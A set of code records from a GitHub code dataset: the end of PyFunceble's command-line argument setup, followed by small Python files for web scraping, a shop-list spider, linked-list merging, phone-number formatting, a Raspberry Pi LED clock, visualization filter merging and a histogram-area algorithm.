get_configured_value(\"cli_testing.display_mode.registrar\"),\n            },\n        ),\n        (\n            [\n                \"--max-registrar\",\n            ],\n            {\n                \"dest\": \"cli_testing.display_mode.max_registrar\",\n                \"type\": int,\n                \"default\": 15,\n                \"help\": \"Sets the maximal number of registrar to display.\\n\"\n                \"Note: This argument has no effect when the --registrar\\n\"\n                \"argument is not set. This argument only takes effect on\\n\"\n                \"display but not\\n\"\n                \"in the log file %s\"\n                % get_configured_value(\"cli_testing.display_mode.max_registrar\"),\n            },\n        ),\n        (\n            [\n                \"--plain\",\n            ],\n            {\n                \"dest\": \"cli_testing.file_generation.plain\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the generation of the\\n\"\n                \"RAW file(s). What is meant is a list with only a list of\\n\"\n                \"subject (one per line). %s\"\n                % get_configured_value(\"cli_testing.file_generation.plain\"),\n            },\n        ),\n        (\n            [\n                \"-q\",\n                \"--quiet\",\n            ],\n            {\n                \"dest\": \"cli_testing.display_mode.quiet\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the display of output to the\\n\"\n                \"terminal. %s\" % get_configured_value(\"cli_testing.display_mode.quiet\"),\n            },\n        ),\n        (\n            [\n                \"--share-logs\",\n            ],\n            {\n                \"dest\": \"share_logs\",\n                \"action\": \"store_true\",\n                \"help\": argparse.SUPPRESS,\n            },\n        ),\n        (\n            [\n                \"--push-collection\",\n            ],\n            {\n                \"dest\": \"collection.push\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the push of test result into the\\n\"\n                \"collection API. %s\" % get_configured_value(\"collection.push\"),\n            },\n        ),\n        (\n            [\n                \"-s\",\n                \"--simple\",\n            ],\n            {\n                \"dest\": \"cli_testing.display_mode.simple\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the simple output mode. %s\"\n                % get_configured_value(\"cli_testing.display_mode.simple\"),\n            },\n        ),\n    ]\n\n\ndef get_multiprocessing_group_data() -> List[Tuple[List[str], dict]]:\n    \"\"\"\n    Provides the argument of the multiprocessing group data.\n    \"\"\"\n\n    available_cpu = os.cpu_count()\n\n    if available_cpu:\n        default_max_workers = available_cpu * 5\n    else:\n        default_max_workers = 1\n\n    return [\n        (\n            [\n                \"-w\",\n                \"--max-workers\",\n            ],\n            {\n                \"dest\": \"cli_testing.max_workers\",\n                \"type\": int,\n                \"help\": \"Sets the number of maximal workers to use.\\n\"\n                f\"If not given, {default_max_workers} \"\n                \"(based on the current machine) will be applied. %s\"\n                % get_configured_value(\"cli_testing.max_workers\"),\n            },\n        ),\n    ]\n\n\ndef get_ci_group_data() -> List[Tuple[List[str], dict]]:\n    \"\"\"\n    Provides the argument of the CI group data.\n    \"\"\"\n\n    return [\n        (\n            [\"--ci-max-minutes\"],\n            {\n                \"dest\": \"cli_testing.ci.max_exec_minutes\",\n                \"type\": int,\n                \"help\": \"Sets the number of minutes to wait before starting\\n\"\n                \"to stop a CI session. %s\"\n                % get_configured_value(\"cli_testing.ci.max_exec_minutes\"),\n            },\n        ),\n        (\n            [\"--ci\"],\n            {\n                \"dest\": \"cli_testing.ci.active\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the Continuous Integration\\n\"\n                \"mechanism. %s\" % get_configured_value(\"cli_testing.ci.active\"),\n            },\n        ),\n        (\n            [\"--ci-branch\"],\n            {\n                \"dest\": \"cli_testing.ci.branch\",\n                \"type\": str,\n                \"help\": \"Sets our git working branch. This is the branch\\n\"\n                \"from where we are supposed to store the tests\\n\"\n                \"(excepts the final results). %s\"\n                % get_configured_value(\"cli_testing.ci.branch\"),\n            },\n        ),\n        (\n            [\"--ci-distribution-branch\"],\n            {\n                \"dest\": \"cli_testing.ci.distribution_branch\",\n                \"type\": str,\n                \"help\": \"Sets our git distributions branch. This is the\\n\"\n                \"branch from where we are supposed to store and push\\n\"\n                \"the final results. %s\"\n                % get_configured_value(\"cli_testing.ci.distribution_branch\"),\n            },\n        ),\n        (\n            [\"--ci-command\"],\n            {\n                \"dest\": \"cli_testing.ci.command\",\n                \"type\": str,\n                \"help\": \"Sets the command to execute before each commit\\n\"\n                \"(except the final one). %s\"\n                % get_configured_value(\"cli_testing.ci.command\"),\n            },\n        ),\n        (\n            [\"--ci-end-command\"],\n            {\n                \"dest\": \"cli_testing.ci.end_command\",\n                \"type\": str,\n                \"help\": \"Sets the command to execute before the final commit. %s\"\n                % get_configured_value(\"cli_testing.ci.end_command\"),\n            },\n        ),\n        (\n            [\"--ci-commit-message\"],\n            {\n                \"dest\": \"cli_testing.ci.commit_message\",\n                \"type\": str,\n                \"help\": \"Sets the commit message to apply every time we have\\n\"\n                \"to apply a commit except for the really last one. %s\"\n                % get_configured_value(\"cli_testing.ci.commit_message\"),\n            },\n        ),\n        (\n            [\n                \"--ci-end-commit-message\",\n            ],\n            {\n                \"dest\": \"cli_testing.ci.end_commit_message\",\n                \"type\": str,\n                \"help\": \"Sets the commit message to apply at the really end. %s\"\n                % get_configured_value(\"cli_testing.ci.end_commit_message\"),\n            },\n        ),\n    ]\n\n\ndef get_default_group_data() -> List[Tuple[List[str], dict]]:\n    \"\"\"\n    Provides the argument of the default group.\n    \"\"\"\n\n    return [\n        (\n            [\"--debug\"],\n            {\n                \"dest\": \"debug.active\",\n                \"action\": \"store_true\",\n                \"help\": argparse.SUPPRESS,\n            },\n        ),\n        (\n            [\"--logging-level\"],\n            {\n                \"dest\": \"debug.level\",\n                \"choices\": [\"debug\", \"info\", \"warning\", \"error\", \"critical\"],\n                \"default\": None,\n                \"type\": str.lower,\n                \"help\": argparse.SUPPRESS,\n            },\n        ),\n        (\n            [\"--help\"],\n            {\n                \"action\": \"help\",\n                \"help\": \"Show this help message and exit.\",\n                \"default\": argparse.SUPPRESS,\n            },\n        ),\n        (\n            [\n                \"-v\",\n                \"--version\",\n            ],\n            {\n                \"action\": \"version\",\n                \"help\": \"Show the version of PyFunceble and exit.\",\n                \"version\": \"%(prog)s \" + PyFunceble.storage.PROJECT_VERSION,\n            },\n        ),\n    ]\n\n\ndef ask_authorization_to_merge_config(missing_key: Optional[str] = None) -> bool:\n    \"\"\"\n    Asks the end-user for the authorization to merge the upstream\n    configuration and - finally - return the new authorization status.\n\n    :param missing_key:\n        The name of a missing key. If not given, a more generic message will be\n        given to end-user.\n    \"\"\"\n\n    if missing_key:\n        message = (\n            f\"{colorama.Fore.RED}{colorama.Style.BRIGHT}The {missing_key!r} \"\n            f\"key is missing from your configuration file.\"\n            f\"{colorama.Style.RESET_ALL}\\n\"\n            f\"Are we authorized to merge it from upstream ? {colorama.Style.BRIGHT}\"\n            \"[y/n] \"\n        )\n    else:\n        message = (\n            f\"{colorama.Fore.RED}{colorama.Style.BRIGHT}A \"\n            f\"key is missing from your configuration file.\"\n            f\"{colorama.Style.RESET_ALL}\\n\"\n            f\"Are we authorized to merge it from upstream ? {colorama.Style.BRIGHT}\"\n            \"[y/n] \"\n        )\n\n    while True:\n        response = input(message).lower()\n\n        if response[0] not in (\"y\", \"n\"):\n            continue\n\n        if response[0] == \"y\":\n            return True\n\n        return False\n\n\ndef tool() -> None:\n    \"\"\"\n    Provides the CLI of PyFunceble.\n    \"\"\"\n\n    # pylint: disable=too-many-locals\n\n    # We start with loading the configuration. That way, we don't have to\n    # think of this anymore as soon as the CLI is called.\n    # As the merging is now done on demand and not on first hand, this will\n    # give us a bit of agility.\n    PyFunceble.facility.ConfigLoader.start()\n\n    colorama.init(autoreset=True)\n\n    description = (\n        f\"{colorama.Style.BRIGHT}{colorama.Fore.GREEN}PyFunceble\"\n        f\"{colorama.Style.RESET_ALL} - \"\n        \"The tool to check the availability or syntax of domain, IP or URL.\\n\\n\"\n        f\"{colorama.Style.BRIGHT}Note:{colorama.Style.RESET_ALL}\\n\"\n        \"    All arguments listed bellow acts a switch to your configuration file-s.\\n\"\n        \"    This means that if (e.g.) 'file_generation.no_file' is set to 'true' \"\n        \"its value\\n\"\n        \"    will be switch to 'false' at the runtime if the '--no-files' argument is \"\n        \"being used.\\n\"\n        \"    Meaning that output files will be generated.\"\n    )\n\n    our_epilog = (\n        f\"{colorama.Style.BRIGHT}Examples:{colorama.Style.RESET_ALL}\\n\\n\"\n        \"    Check the availability of 'example.com'.\\n\"\n        \"       $ pyfunceble -d example.com\\n\\n\"\n        \"    Check the availability of 'example.com' with a simple (stdout) output.\\n\"\n        \"       $ pyfunceble -s -d example.com\\n\\n\"\n        \"    Check the availability of 'example.com' with extended (stdout) output.\\n\"\n        \"       $ pyfunceble -a -d example.com\\n\\n\"\n        \"    Check the availability of 'example.com' and 'example.org'.\\n\"\n        \"       $ pyfunceble -d example.com example.org\\n\\n\"\n        \"    Check the availability of 'https://example.com'.\\n\"\n        \"       $ pyfunceble -u https://example.com\\n\\n\"\n        \"    Check the availability of 'https://example.com' and \"\n        \"'https://example.org'.\\n\"\n        \"       $ pyfunceble -u https://example.com https://example.com\\n\\n\"\n        \"    Check the syntax of 'example.com'.\\n\"\n        \"       $ pyfunceble --syntax -d example.com\\n\\n\"\n        \"    Check the reputation of 'example.com'.\\n\"\n        \"       $ pyfunceble --reputation -d example.com\\n\\n\"\n        \"    Check the availability of all subjects in the 'myhosts' file.\\n\"\n        \"       $ pyfunceble -f myhosts\\n\\n\"\n        \"    Check the availability of all subjects in the 'myhosts' and 'yourhosts' \"\n        \"files.\\n\"\n        \"       $ pyfunceble -f myhosts yourhosts\\n\\n\"\n        \"\\n\\n\"\n        f\"{colorama.Style.BRIGHT}{colorama.Fore.YELLOW}For an in-depth usage, \"\n        \"explanation and examples of the arguments,\\n\"\n        f\"you should read the documentation at{colorama.Fore.GREEN} \"\n        \"https://pyfunceble.readthedocs.io/en/dev/\"\n        f\"{colorama.Style.RESET_ALL}\\n\\n\"\n    )\n\n    parser = OurArgumentParser(\n        description=description,\n        epilog=our_epilog + PyFunceble.cli.storage.STD_EPILOG,\n        add_help=False,\n        formatter_class=argparse.RawTextHelpFormatter,\n    )\n\n    # pylint:  disable=possibly-unused-variable\n\n    shtab.add_argument_to(\n        parser,\n        option_string=[\"--show-completion\"],\n        help=\"Show Shell completion script and exit.\",\n    )\n    source_group = parser.add_argument_group(\"Test sources\")\n    filtering_group = parser.add_argument_group(\n        \"Source filtering, decoding, conversion and expansion\"\n    )\n    test_control_group = parser.add_argument_group(\"Test control\")\n    dns_control_group = parser.add_argument_group(\"DNS control\")\n    proxy_control_group = parser.add_argument_group(\"Proxy control\")\n    database_control_group = parser.add_argument_group(\"Databases\")\n    output_control_group = parser.add_argument_group(\"Output control\")\n    multiprocessing_group = parser.add_argument_group(\"Multiprocessing\")\n    ci_group = parser.add_argument_group(\"CI / CD\")\n\n    funcs = [\n        get_source_group_data,\n        get_filtering_group_data,\n        get_test_control_group_data,\n        get_dns_control_group_data,\n        get_proxy_control_group_data,\n        get_database_control_group_data,\n        get_output_control_group_data,\n        get_multiprocessing_group_data,\n        get_ci_group_data,\n    ]\n\n    for func in funcs:\n        parser_name = func.__name__.replace(\"get_\", \"\").replace(\"_data\", \"\")\n\n        try:\n            add_arguments_to_parser(locals()[parser_name], func())\n        except ValueError as exception:\n            exception_message = str(exception)\n            if \"configuration\" not in exception_message:\n                raise exception\n\n            missing_key = RegexHelper(r\"<entry>\\s\\(\\'(.*)\\'\\)\").match(\n                exception_message, return_match=True, group=1\n            )\n\n            if ask_authorization_to_merge_config(missing_key):\n                PyFunceble.facility.ConfigLoader.set_merge_upstream(True).start()\n                add_arguments_to_parser(locals()[parser_name], func())\n            else:\n                print(\n                    f\"{colorama.Fore.RED}{colorama.Style.BRIGHT}Could not find \"\n                    f\"the {missing_key!r} in your configuration.\\n\"\n                    f\"{colorama.Fore.MAGENTA}Please fix your \"\n                    \"configuration file manually or fill a new issue if you \"\n                    \"don't understand this error.\"\n                )\n                sys.exit(1)\n\n    add_arguments_to_parser(parser, get_default_group_data())\n\n    args = parser.parse_args()\n\n    if any(getattr(args, x) for x in [\"domains\", \"urls\", \"files\", \"url_files\"]):\n        SystemIntegrator(args).start()\n        SystemLauncher(args).start()\n","repo_name":"funilrys/PyFunceble","sub_path":"PyFunceble/cli/entry_points/pyfunceble/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":43439,"program_lang":"python","lang":"en","doc_type":"code","stars":267,"dataset":"github-code","pt":"60"}
+{"seq_id":"44220330596","text":"# The function that does all the work in this program\r\n\r\nimport bs4\r\nimport requests\r\n\r\n\r\ndef findText(url):\r\n    result = requests.get(url)  # To retrieve the webpage data\r\n    result.raise_for_status()  # To raise an exception if something goes wrong\r\n\r\n    soup = bs4.BeautifulSoup(result.text, features='html.parser')  # To make a beautifulsoup object of the html content\r\n    p_elements = soup.select('p')  # To make a list of all the paragraph elements\r\n\r\n    paragraphs = []\r\n    for element in p_elements:\r\n        paragraphs.append(element.text)  # To add just the text of each paragraph to the list\r\n\r\n    text = '\\n\\n'.join(paragraphs)  # This will make the article into a single string\r\n\r\n    return text\r\n","repo_name":"Sammy-Geeeee/Web_Text_Reader","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"21143043705","text":"import json\nfrom getData  import GetData\nfrom writeData import WriteData\n\n\n\n\nlatitudeAndlongitudeArr=[]\ndef init():\n    global latitudeAndlongitudeArr\n\n    with open(\"config.json\", 'r', encoding='UTF-8') as f:\n        config = json.load(f)\n        latitudeAndlongitudeArr = config.get('latitudeAndlongitudeArr')\n        return config.get('Cookie')\n\nrowIndex = 0\ndef startWriteData(Cookie):\n    global rowIndex\n\n    WriteData().writeFirst()\n\n    for latitudeAndlongitude  in latitudeAndlongitudeArr:\n        print(latitudeAndlongitude)\n        pageIndex = 0\n        shopList = GetData(Cookie).getShopList(pageIndex,latitudeAndlongitude)\n        while shopList is not None and len(shopList)>0:\n            WriteData().write_excel(shopList,rowIndex,latitudeAndlongitude)\n            pageIndex+=1\n            rowIndex+=1\n            shopList = GetData(Cookie).getShopList(pageIndex,latitudeAndlongitude)\n\n\n\nif __name__ =='__main__':\n\n    startWriteData(init())\n","repo_name":"psh24053/element-spider","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"26471059615","text":"# Definition for singly-linked list.\n# class ListNode:\n#     def __init__(self, val=0, next=None):\n#         self.val = val\n#         self.next = next\nclass Solution:\n    def mergeTwoLists(self, list1: Optional[ListNode], list2: Optional[ListNode]) -> Optional[ListNode]:\n        minH1 = []\n        minH2 = []\n        cur1 = list1\n        cur2 = list2\n        while cur1:\n            heapq.heappush(minH1, cur1.val)\n            cur1 = cur1.next\n        while cur2:\n            heapq.heappush(minH2, cur2.val)\n            cur2 = cur2.next\n        dummy = ListNode()\n        cur = dummy\n        while minH1 and minH2:\n            if minH1[0] < minH2[0]:\n                cur.next = ListNode(heapq.heappop(minH1))\n            else:\n                cur.next = ListNode(heapq.heappop(minH2))\n            cur = cur.next\n        while minH1:\n            cur.next = ListNode(heapq.heappop(minH1))\n            cur = cur.next\n        while minH2:\n            cur.next = ListNode(heapq.heappop(minH2))\n            cur = cur.next\n        return dummy.next","repo_name":"Fas96/AlgoSolution","sub_path":"0021-merge-two-sorted-lists/0021-merge-two-sorted-lists.py","file_name":"0021-merge-two-sorted-lists.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"27326143204","text":"import re\n\n\nclass Telefone:\n    def __init__(self, telefone):\n        if self.valida_telefone:\n            self.numero = telefone\n        else:\n            raise ValueError(\"Numero invalido\")\n                #00 00000 0000 \n        \n    def valida_telefone(self, telefone):\n        padrao = \"[0-9][0-9]{4,5}[0-9]{4}\"\n        resposta = re.findall(padrao, telefone)\n\n        if resposta:\n            return True\n        else:\n            return False\n        \n    def formata_telefone(self):\n        padrao = \"([0-9]{2})?([0-9]{2})([0-9]{4,5})([0-9]{4})\"\n        resposta = re.search(padrao, self.numero)\n        numero_formatado = f'+{resposta.group(1)} ({resposta.group(2)}) {resposta.group(3)}-{resposta.group(4)}'\n        return numero_formatado\n    \n    def __str__(self):\n        return self.formata_telefone()","repo_name":"renatodesouza/Alura-FormacaoPython","sub_path":"FormacaoPython/Validacao de telefones/telefone.py","file_name":"telefone.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32459330400","text":"def digital_clock_vertical(display_on_lights_bool = 0):\r\n    import numpy as np\r\n    import time\r\n    import math\r\n    import os\r\n\r\n    if display_on_lights_bool == 1:\r\n        import Adafruit_WS2801\r\n        import Adafruit_GPIO.SPI as SPI\r\n        import RPi.GPIO as GPIO\r\n\r\n    try:\r\n        GPIO.setmode(GPIO.BCM)\r\n        GPIO.setup(12, GPIO.OUT)\r\n        GPIO.setup(16, GPIO.OUT)\r\n        GPIO.output(16, GPIO.HIGH)\r\n        GPIO.output(12, GPIO.LOW)\r\n    except Exception as ex:\r\n        print(ex)\r\n        print(\"Error Encountered\")\r\n\r\n    if display_on_lights_bool == 1:\r\n        PIXEL_COUNT = 160\r\n        PIXEL_CLOCK = 11\r\n        PIXEL_DOUT = 10\r\n        pixels = Adafruit_WS2801.WS2801Pixels(PIXEL_COUNT,clk=PIXEL_CLOCK,do=PIXEL_DOUT)\r\n        pixels.clear()\r\n        pixels.show()\r\n\r\n        #RBG\r\n        hour_color = Adafruit_WS2801.RGB_to_color(0,255,0) #blue\r\n        minute_color = Adafruit_WS2801.RGB_to_color(255,50,255) #yellow\r\n        second_ten_color = Adafruit_WS2801.RGB_to_color(255,0,175) #orange\r\n        second_twenty_color = Adafruit_WS2801.RGB_to_color(255,255,0) #magenta\r\n        second_thirty_color = Adafruit_WS2801.RGB_to_color(255,0,0) #red\r\n        second_fourty_color = Adafruit_WS2801.RGB_to_color(0,290,255) #turqoise\r\n        second_fifty_color = Adafruit_WS2801.RGB_to_color(200,255,0) #purple\r\n        second_ones_color = Adafruit_WS2801.RGB_to_color(50,0,255) #green\r\n\r\n    number_one = [[0,1],[1,0],[1,1],[2,1],[3,1],[4,0],[4,1],[4,2]]\r\n    number_two = [[0,0],[0,1],[0,2],[1,2],[2,0],[2,1],[2,2],[3,0],[4,0],[4,1],[4,2]]\r\n    number_three = [[0,0],[0,1],[0,2],[1,2],[2,0],[2,1],[2,2],[3,2],[4,0],[4,1],[4,2]]\r\n    number_four = [[0,0],[0,2],[1,0],[1,2],[2,0],[2,1],[2,2],[3,2],[4,2]]\r\n    number_five = [[0,0],[0,1],[0,2],[1,0],[2,0],[2,1],[2,2],[3,2],[4,0],[4,1],[4,2]]\r\n    number_six = [[0,0],[0,1],[0,2],[1,0],[2,0],[2,1],[2,2],[3,0],[3,2],[4,0],[4,1],[4,2]]\r\n    number_seven = [[0,0],[0,1],[0,2],[1,0],[1,2],[2,2],[3,2],[4,2]]\r\n    number_eight = [[0,0],[0,1],[0,2],[1,0],[1,2],[2,0],[2,1],[2,2],[3,0],[3,2],[4,0],[4,1],[4,2]]\r\n    number_nine = [[0,0],[0,1],[0,2],[1,0],[1,2],[2,0],[2,1],[2,2],[3,2],[4,2]]\r\n    number_zero = [[0,0],[0,1],[0,2],[1,0],[1,2],[2,0],[2,2],[3,0],[3,2],[4,0],[4,1],[4,2]]\r\n\r\n\r\n    def print_big_clock(grid):\r\n\r\n\r\n        ## Get the time\r\n        current_time = time.localtime()\r\n        hour = current_time.tm_hour\r\n        minute = current_time.tm_min\r\n        second = current_time.tm_sec\r\n        \r\n        ## Get the numbers to print. Stored in digit_one, digit_two .... digit_six\r\n        if hour > 9:\r\n            digit_one = 1\r\n        else:\r\n            digit_one = 0\r\n        digit_two = hour%10\r\n        if minute > 9:\r\n            digit_three = math.floor(minute/10)\r\n        else:\r\n            digit_three = 0\r\n        digit_four = minute%10\r\n        if second > 9:\r\n            digit_five = math.floor(second/10)\r\n        else:\r\n            digit_five = 0\r\n        digit_six = second%10\r\n\r\n        digit_list = [digit_one, digit_two, digit_three, digit_four, digit_five, digit_six]\r\n        \r\n        for value in range(len(digit_list)):\r\n            digit = digit_list[value]\r\n            if digit == 1:\r\n                digit_list[value] = number_one\r\n            elif digit == 2:\r\n                digit_list[value] = number_two\r\n            elif digit == 3:\r\n                digit_list[value] = number_three\r\n            elif digit == 4:\r\n                digit_list[value] = number_four\r\n            elif digit == 5:\r\n                digit_list[value] = number_five\r\n            elif digit == 6:\r\n                digit_list[value] = number_six\r\n            elif digit == 7:\r\n                digit_list[value] = number_seven\r\n            elif digit == 8:\r\n                digit_list[value] = number_eight\r\n            elif digit == 9:\r\n                digit_list[value]  = number_nine\r\n            else:\r\n                if value%2 != 0:\r\n                    digit_list[value] = number_zero\r\n                else:\r\n                    digit_list[value] = [] #prevents us from printing a zero for the most significant digit\r\n\r\n        for index in digit_list[0]: #digit one\r\n            index = [index[0] + 1, index[1] + 1] #shift the upper left corner of the first hour digit to [1,1]\r\n            grid[index[0], index[1]] = 1\r\n            if display_on_lights_bool == 1:\r\n                pixels.set_pixel(index[0] + (16*index[1]), hour_color)\r\n        for index in digit_list[1]: #digit two\r\n            index = [index[0] + 1, index[1] + 5] #shift the upper left corner of the second hour digit to [1,5], leaving a column between the digits\r\n            grid[index[0], index[1]] = 1\r\n            if display_on_lights_bool == 1:\r\n                pixels.set_pixel(index[0] + (16*index[1]), hour_color)\r\n        for index in digit_list[2]: #digit three\r\n            index = [index[0] + 7, index[1] + 1] #shift the upper left corner of the first minute digit to [7,1], leaving a row between the minute and hour\r\n            grid[index[0], index[1]] = 2\r\n            if display_on_lights_bool == 1:\r\n                pixels.set_pixel(index[0] + (16*index[1]), minute_color)\r\n        for index in digit_list[3]: #digit four\r\n            index = [index[0] + 7, index[1] + 5]\r\n            grid[index[0], index[1]] = 2\r\n            if display_on_lights_bool == 1:\r\n                pixels.set_pixel(index[0] + (16*index[1]), minute_color)\r\n\r\n        ## Seconds will be displayed using a counter system rather than displaying the actual value\r\n\r\n        if digit_five > 0: #the tens place of the seconds. Must be at least 10 seconds. Light the first light\r\n            grid[13,0] = 3\r\n            if display_on_lights_bool == 1:\r\n                pixels.set_pixel(13, second_ten_color)\r\n        if digit_five > 1: #must be at least 20 seconds. Light the second light too\r\n            grid[13,1] = 4\r\n            if display_on_lights_bool == 1:\r\n                pixels.set_pixel(29, second_twenty_color)\r\n        if digit_five > 2:\r\n            grid[13,2] = 5\r\n            if display_on_lights_bool == 1:\r\n                pixels.set_pixel(45, second_thirty_color)\r\n        if digit_five > 3: \r\n            grid[13,3] = 6\r\n            if display_on_lights_bool == 1:\r\n                pixels.set_pixel(61, second_fourty_color)\r\n        if digit_five > 4: #must be at least 50 seconds. Light the fifth light too.\r\n            grid[13,4] = 7\r\n            if display_on_lights_bool == 1:\r\n                pixels.set_pixel(77, second_fifty_color)\r\n\r\n        for i in range(digit_six):\r\n            grid[14,i] = 8\r\n            if display_on_lights_bool == 1:\r\n                pixels.set_pixel(14 + (16*i), second_ones_color)\r\n\r\n        return(grid, hour, minute, second)\r\n\r\n\r\n    [old_grid, hour, minute, second] = print_big_clock(np.zeros([16,10]))\r\n    while 1:\r\n        \r\n        [new_grid, hour, minute, second] = print_big_clock(np.zeros([16,10]))\r\n        \r\n        if (new_grid != old_grid).any(): #If it's true that new_grid != old_grid for any elements in the arrays (i.e. if the two arrays are different)...\r\n\r\n            if display_on_lights_bool == 1:\r\n                pixels.clear()\r\n                \r\n            [new_grid, hour, minute, second] = print_big_clock(np.zeros([16,10]))\r\n            \r\n            old_grid = new_grid\r\n            \r\n            if minute == 0: #Flash the light strands on the hour\r\n                if display_on_lights_bool == 1:\r\n                    GPIO.output(12, GPIO.HIGH)\r\n                    GPIO.output(16, GPIO.HIGH)\r\n                    time.sleep(1)        \r\n                    GPIO.output(12, GPIO.LOW)\r\n                    GPIO.output(16, GPIO.LOW)\r\n                    time.sleep(0.5)\r\n                    GPIO.output(12, GPIO.HIGH)\r\n                    GPIO.output(16, GPIO.HIGH)\r\n                    time.sleep(1)        \r\n                    GPIO.output(12, GPIO.LOW)\r\n                    GPIO.output(16, GPIO.LOW)\r\n                    \r\n            print(\"Time is \", hour, minute, second)\r\n\r\n            #os.system('cls')\r\n            print(new_grid)\r\n            if display_on_lights_bool == 1:\r\n                pixels.show()\r\n\r\n        \r\n","repo_name":"Lord-Awesome/Chris_Code_Database","sub_path":"digital_clock_vertical.py","file_name":"digital_clock_vertical.py","file_ext":"py","file_size_in_byte":8182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74180381952","text":"from nl4dv.utils import constants, helpers\nimport re\nimport nltk\nfrom nltk import word_tokenize\nfrom si_prefix import si_parse\nfrom nltk.corpus import stopwords\nimport copy\n\n\n\nclass DialogGenie:\n    def __init__(self, nl4dv_instance):\n        self.nl4dv_instance = nl4dv_instance\n        self.previous_response = None\n\n    def renew_fillter(self, current_response, mode = 'replace filter which has the same field'):\n        previous_transform = copy.deepcopy(self.previous_response['visList'][0]['vlSpec']['transform'])\n        current_transform = copy.deepcopy(current_response['visList'][0]['vlSpec']['transform'])\n        if mode == 'just add filter':\n            self.previous_response['visList'][0]['vlSpec']['transform'].extend(current_transform)\n            return \n\n        elif mode == 'replace filter which has the same field':\n            ft_pre = dict() # ft: field map to filter\n            ft_cur = dict()\n            for trans_pre in previous_transform:\n                ft_pre[trans_pre['filter']['field']] = trans_pre\n            for trans_cur in current_transform:\n                if list(trans_cur.keys())[0] == 'filter':\n                    ft_cur[trans_cur['filter']['field']] = trans_cur\n\n            for field_cur in ft_cur:\n                ft_pre[field_cur] = ft_cur[field_cur]\n            self.previous_response['visList'][0]['vlSpec']['transform'] = list(ft_pre.values())\n            return \n\n        elif mode == 'OR with fillter which has the same field':\n            ft_pre = dict() # ft: field map to filter\n            ft_cur = dict()\n            for trans_pre in previous_transform:\n                ft_pre[trans_pre['filter']['field']] = trans_pre\n            for trans_cur in current_transform:\n                if list(trans_cur.keys())[0] == 'filter':\n                    ft_cur[trans_cur['filter']['field']] = trans_cur\n\n            p_newed_by_c = copy.deepcopy(ft_pre)\n            c_newed_by_p = copy.deepcopy(ft_cur)\n            for field_cur in ft_cur:\n                p_newed_by_c[field_cur] = ft_cur[field_cur]\n            for field_pre in ft_pre:\n                c_newed_by_p[field_pre] = ft_pre[field_pre]     \n\n            for field in p_newed_by_c:\n                  if(p_newed_by_c[field]['filter']['oneOf']!=c_newed_by_p[field]['filter']['oneOf']):\n                      p_newed_by_c[field]['filter']['oneOf'].extend(c_newed_by_p[field]['filter']['oneOf'])\n            self.previous_response['visList'][0]['vlSpec']['transform'] = list(p_newed_by_c.values())\n            return   \n\n        elif mode == 'replace filter which has the same type&field':\n            tpft_pre = dict() # tpft: type&field map to filter\n            tpft_cur = dict()\n            # tp(type): dict/str\n            # ft:field\n            \n            for trans_pre in previous_transform:\n                if type(trans_pre['filter']) == type({}):\n                    tp = 'dict'\n                    ft = trans_pre['filter']['field']\n                elif type(trans_pre['filter']) == type(''):\n                    tp = 'str'\n                    left_idx = trans_pre['filter'].find('[\"')+2\n                    right_idx = trans_pre['filter'].find('\"]')\n                    ft = trans_pre['filter'][left_idx:right_idx]\n                tpft_pre[(tp,ft)] = trans_pre     \n\n            for trans_cur in current_transform:\n                if list(trans_cur.keys())[0] == 'filter':\n                    if type(trans_cur['filter']) == type({}):\n                        tp = 'dict'\n                        ft = trans_cur['filter']['field']\n                    elif type(trans_cur['filter']) == type(''):\n                        tp = 'str'\n                        left_idx = trans_cur['filter'].find('[\"') + 2\n                        right_idx = trans_cur['filter'].find('\"]')\n                        ft = trans_cur['filter'][left_idx:right_idx]\n                    tpft_cur[(tp,ft)] = trans_cur  \n\n            for fieldType_cur in tpft_cur:\n                tpft_pre[fieldType_cur] = tpft_cur[fieldType_cur]\n            self.previous_response['visList'][0]['vlSpec']['transform'] = list(tpft_pre.values())\n            return  \n\n        else:\n            raise ValueError(\"bad mode\")\n","repo_name":"bopan3/nl4dv_enhance","sub_path":"nl4dv/dialoggenie/dialoggenie.py","file_name":"dialoggenie.py","file_ext":"py","file_size_in_byte":4190,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"37670110491","text":"\"\"\"\r\nhttps://leetcode.com/problems/largest-rectangle-in-histogram/  #84 #HARD\r\n\r\nApproach:\r\n\r\nUse a monotonically increasing stack to push all items that are greater than top as you iterate through array\r\n\"\"\"\r\n\r\ndef maxHistogram(arr):\r\n    maxArea=float('-inf')\r\n    area=0\r\n    stack=[]\r\n    i=0\r\n    #This algo illustrates a new technique to conditionally iterate through a list\r\n    while i < len(arr):\r\n        #Doing a not/or combination below removes the necessity for a check in the else section\r\n        if not stack or arr[stack[-1]] < arr[i]: #Remember no while here, only push each element that is greater than\r\n            # top for each iteration\r\n            stack.append(i)\r\n            i+=1 #Note that i only gets incremented here\r\n        else:\r\n            top = stack.pop()\r\n            if stack: #Note that top and peek are 2 separate variables. So there is i, peek and top and each matters\r\n                # in the formula. Top is the point where the area is being calculated\r\n                area = arr[top]*(i-stack[-1]-1) #This formula is tricky (i - peek -1)\r\n            else:\r\n                area = arr[top]*i\r\n            maxArea= max(maxArea, area) #Note maxArea gets computed only here and not indented left scope. Hence area\r\n            # is not being computed for every i - only if arr[i] reduces\r\n\r\n    while stack: #Note that i stays fixed here since you reached end of array\r\n        top = stack.pop()\r\n        area = arr[top]*(i-stack[-1]-1) if stack else arr[top]*i\r\n        maxArea= max(maxArea, 